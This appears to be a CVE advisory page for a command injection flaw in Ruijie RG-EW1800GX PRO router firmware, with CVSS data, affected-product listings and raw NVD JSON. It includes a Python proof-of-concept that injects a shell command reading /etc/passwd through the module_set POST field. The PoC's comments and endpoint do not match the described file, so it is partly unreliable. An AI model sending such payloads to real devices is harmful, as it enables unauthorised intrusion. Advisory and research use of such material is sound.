Security Vulnerability Report
中文
CVE-2025-56084 CVSS 8.8 HIGH

CVE-2025-56084

Published: 2025-12-11 18:16:21
Last Modified: 2026-02-11 19:39:36

Description

OS Command Injection vulnerability in Ruijie RG-EW1800GX PRO B11P226_EW1800GX-PRO_10223117 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-yst250f_firmware:3.0\(1\)b11p280yst250f:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-yst250f:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-est310_v2_firmware:b11p221:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-est310_v2:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:reyee_os:221:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-est350_v2:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:reyee_os:219:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew300_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-eap602_firmware:3.0\(1\)b2p55:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-eap602:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-EW1800GX PRO B11P226_EW1800GX-PRO_10223117及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-56084 PoC - Ruijie RG-EW1800GX PRO Command Injection # Target: Ruijie RG-EW1800GX PRO Router # Firmware: B11P226_EW1800GX-PRO_10223117 target_ip = "192.168.1.1" # Router IP address target_url = f"http://{target_ip}/cgi-bin/luci/api/nbr_cwmp" # Malicious payload to inject OS command # Using pipe operator to chain commands payload = "'; cat /etc/passwd; echo '" data = { "module_set": payload, "module_name": "test_module" } try: print(f"[*] Sending exploit to {target_url}") print(f"[*] Payload: {payload}") response = requests.post(target_url, data=data, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Exploit sent successfully!") else: print("[-] Exploit failed!") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56084", "sourceIdentifier": "[email protected]", "published": "2025-12-11T18:16:20.537", "lastModified": "2026-02-11T19:39:36.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-EW1800GX PRO B11P226_EW1800GX-PRO_10223117 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-yst250f_firmware:3.0\\(1\\)b11p280yst250f:*:*:*:*:*:*:*", "matchCriteriaId": "0D863EA4-61BB-4706-8AB6-BE2AB6405236"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-yst250f:-:*:*:*:*:*:*:*", "matchCriteriaId": "A13295C6-FCEA-46F9-9344-64A8294A2E69"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-est310_v2_firmware:b11p221:*:*:*:*:*:*:*", "matchCriteriaId": "B88312BA-36D6-4C06-BD5B-7F18B437FB96"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-est310_v2:-:*:*:*:*:*:*:*", "matchCriteriaId": "9461FE15-EDE8-4E75-97F6-A5C67D99A092"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:reyee_os:221:*:*:*:*:*:*:*", "matchCriteriaId": "FB71150E-3E99-458B-B961-2FA4176C0E38"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-est350_v2:-:*:*:*:*:*:*:*", "matchCriteriaId": "A00D8E4C-F07D-4594-8F3E-C3B58F2B6712"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:reyee_os:219:*:*:*:*:*:*:*", "matchCriteriaId": "1C2ECCE3-9280-4BE7-9F93-D7EFD803E7F3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew300_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "76F60F45-CF3C-4E10-AFAC-231318B1182F"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-eap602_firmware:3.0\\(1\\)b2p55:*:*:*:*:*:*:*", "matchCriteriaId": "54D9F162-AE62-405B-BACF-95AB35C3F94B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-eap602:-:*:*:*:*:*:*:*", "matchCriteriaId": "43BC34C1-E257-4D67-ABA4-2AA6DD533275"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/Eohr-0awt6VAuiLCNhCG0rgBLQip6nJpl-9Hy0OqB4MvFg?e=DIfBxi", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EdfdfnvOxAhJqdeIGlRRo6ABHJz03PPPBYIMdLoD6iNhlg?e=qNhi6o", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56084.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}